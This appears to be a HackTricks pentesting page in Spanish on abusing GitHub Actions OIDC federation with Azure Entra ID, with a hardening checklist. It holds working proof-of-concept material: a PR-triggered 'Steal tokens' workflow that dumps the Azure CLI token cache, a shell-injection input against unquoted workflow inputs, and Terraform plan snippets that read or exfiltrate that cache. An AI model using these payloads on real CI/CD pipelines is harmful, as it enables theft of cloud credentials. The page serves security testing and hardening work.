# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) {{#include ../../../banners/hacktricks-training.md}} ## Visión general GitHub Actions puede federarse con Azure Entra ID (anteriormente Azure AD) usando OpenID Connect (OIDC). Un workflow de GitHub solicita un GitHub ID token (JWT) de corta duración que codifica detalles sobre la ejecución. Azure valida este token contra un Federated Identity Credential (FIC) en un App Registration (service principal) y lo intercambia por Azure access tokens (MSAL cache, bearer tokens para Azure APIs). Azure valida al menos: - iss: https://token.actions.githubusercontent.com - aud: api://AzureADTokenExchange (cuando se intercambia por Azure tokens) - sub: debe coincidir con el identificador Subject configurado en el FIC > The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange. ## GitHub ID token quick PoC ```yaml name: Print OIDC identity token on: { workflow_dispatch: {} } permissions: id-token: write jobs: view-token: runs-on: ubuntu-latest steps: - name: get-token run: | OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") # Base64 avoid GitHub masking echo "$OIDC_TOKEN" | base64 -w0 ``` Para forzar la audiencia de Azure en la solicitud de token: ```bash OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") ``` ## Configuración de Azure (Workload Identity Federation) 1) Crear App Registration (service principal) y otorgar el principio de menor privilegio (p. ej., Storage Blob Data Contributor en una cuenta de almacenamiento específica). 2) Agregar credenciales de identidad federada: - Emisor: https://token.actions.githubusercontent.com - Audiencia: api://AzureADTokenExchange - Identificador de sujeto: estrechamente delimitado al contexto del workflow/run previsto (ver Scoping and risks abajo). 3) Usar azure/login para intercambiar el GitHub ID token e iniciar sesión en el Azure CLI: ```yaml name: Deploy to Azure on: push: { branches: [main] } permissions: id-token: write contents: read jobs: deploy: runs-on: ubuntu-latest steps: - name: Az CLI login uses: azure/login@v2 with: client-id: ${{ secrets.AZURE_CLIENT_ID }} tenant-id: ${{ secrets.AZURE_TENANT_ID }} subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} - name: Upload file to Azure run: | az storage blob upload --data "test" -c hmm -n testblob \ --account-name sofiatest --auth-mode login ``` Ejemplo de intercambio manual (se muestra el alcance de Graph; ARM u otros recursos de forma similar): ```http POST //oauth2/v2.0/token HTTP/2 Host: login.microsoftonline.com Content-Type: application/x-www-form-urlencoded client_id=&grant_type=client_credentials& client_assertion=&client_info=1& client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default ``` ## Anatomía y personalización del subject (sub) de GitHub OIDC Formato predeterminado de sub: repo:/: Los valores de context incluyen: - environment: - pull_request (PR se activa cuando no está en un environment) - ref:refs/(heads|tags)/ Claims útiles que suelen estar presentes en el payload: - repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor Personaliza la composición del sub mediante la GitHub API para incluir claims adicionales y reducir el riesgo de colisiones: ```bash gh api orgs//actions/oidc/customization/sub gh api repos///actions/oidc/customization/sub # Example to include owner and visibility gh api \ --method PUT \ repos///actions/oidc/customization/sub \ -f use_default=false \ -f include_claim_keys='["repository_owner","repository_visibility"]' ``` Nota: Los dos puntos en los nombres de environment están codificados en URL (%3A), eliminando viejos trucos de delimiter‑injection contra el parsing de sub. Sin embargo, usar subjects no únicos (p.ej., solo environment:) sigue siendo inseguro. ## Alcance y riesgos de los tipos de subject FIC - Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ - Riesgo: Si la Branch/Tag no está protegida, cualquier contributor puede push y obtener tokens. - Environment: sub=repo:/:environment: - Riesgo: Unprotected environments (no reviewers) permiten a contributors mint tokens. - Pull request: sub=repo:/:pull_request - Mayor riesgo: Cualquier collaborator puede abrir un PR y satisfacer el FIC. PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): ```yaml name: Steal tokens on: pull_request permissions: id-token: write contents: read jobs: extract-creds: runs-on: ubuntu-latest steps: - name: azure login uses: azure/login@v2 with: client-id: ${{ secrets.AZURE_CLIENT_ID }} tenant-id: ${{ secrets.AZURE_TENANT_ID }} subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} - name: Extract access token run: | # Azure CLI caches tokens here on Linux runners cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 # Decode twice locally to recover the bearer token ``` Ubicaciones de archivos relacionadas y notas: - Linux/macOS: ~/.azure/msal_token_cache.json almacena tokens MSAL para sesiones de az CLI - Windows: msal_token_cache.bin en el perfil de usuario; protegido por DPAPI ## Flujos de trabajo reutilizables y alcance de job_workflow_ref Invocar un flujo de trabajo reutilizable agrega job_workflow_ref al token de ID de GitHub, por ejemplo: ``` ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main ``` Ejemplo FIC para vincular tanto el caller repo como el reusable workflow: ``` sub=repo:/:job_workflow_ref://.github/workflows/@ ``` Configura los claims en el repositorio caller para que tanto repo como job_workflow_ref estén presentes en sub: ```http PUT /repos///actions/oidc/customization/sub HTTP/2 Host: api.github.com Authorization: token {"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} ``` Advertencia: Si enlazas solo job_workflow_ref en el FIC, un atacante podría crear un repo distinto en la misma org, ejecutar el mismo reusable workflow en la misma ref, satisfacer el FIC y mint tokens. Siempre incluye también el caller repo. ## Vectores de ejecución de código que evaden las protecciones de job_workflow_ref Incluso con job_workflow_ref correctamente acotado, cualquier dato caller‑controlled que llegue al shell sin comillas seguras puede provocar ejecución de código dentro del contexto del workflow protegido. Ejemplo de reusable step vulnerable (interpolación sin comillas): ```yaml - name: Example Security Check run: | echo "Checking file contents" if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then echo "Malicious content detected!"; exit 1 else echo "File contents are safe." fi ``` Entrada maliciosa del llamador para ejecutar comandos y exfiltrar la caché de tokens de Azure: ```yaml with: file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' ``` ## Terraform plan como una primitiva de ejecución en PRs Trata terraform plan como ejecución de código. Durante el plan, Terraform puede: - Leer archivos arbitrarios mediante funciones como file() - Ejecutar comandos a través del external data source Ejemplo para exfiltrate Azure token cache durante plan: ```hcl output "msal_token_cache" { value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) } ``` O usar external para ejecutar comandos arbitrarios: ```hcl data "external" "exfil" { program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] } ``` Conceder FICs utilizables en planes desencadenados por PR expone tokens privilegiados y puede preparar un apply destructivo más adelante. Separe identidades para plan vs apply; nunca permita tokens privilegiados en contextos de PR no confiables. ## Hardening checklist - Nunca use sub=...:pull_request para FICs sensibles - Proteja cualquier rama/etiqueta/entorno referenciado por FICs (branch protection, environment reviewers) - Prefiera FICs con ámbito tanto repo como job_workflow_ref para reusable workflows - Personalice el sub de GitHub OIDC para incluir claims únicos (p. ej., repo, job_workflow_ref, repository_owner) - Elimine la interpolación sin comillas de caller inputs en run steps; codifique/entrecomille de forma segura - Trate terraform plan como ejecución de código; restrinja o aisle identidades en contextos de PR - Implemente el principio de menor privilegio en App Registrations; separe identidades para plan vs apply - Fije actions y reusable workflows a commit SHAs (evite pins por branch/tag) ## Manual testing tips - Solicite un GitHub ID token dentro del workflow e imprímalo en base64 para evitar masking - Decodifique el JWT para inspeccionar claims: iss, aud, sub, job_workflow_ref, repository, ref - Intercambie manualmente el ID token contra login.microsoftonline.com para confirmar la correspondencia de FIC y los scopes - Después de azure/login, lea ~/.azure/msal_token_cache.json para verificar la presencia del material del token ## References - [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) - [azure/login action](https://github.com/Azure/login) - [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) - [gh CLI](https://cli.github.com/) - [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) {{#include ../../../banners/hacktricks-training.md}}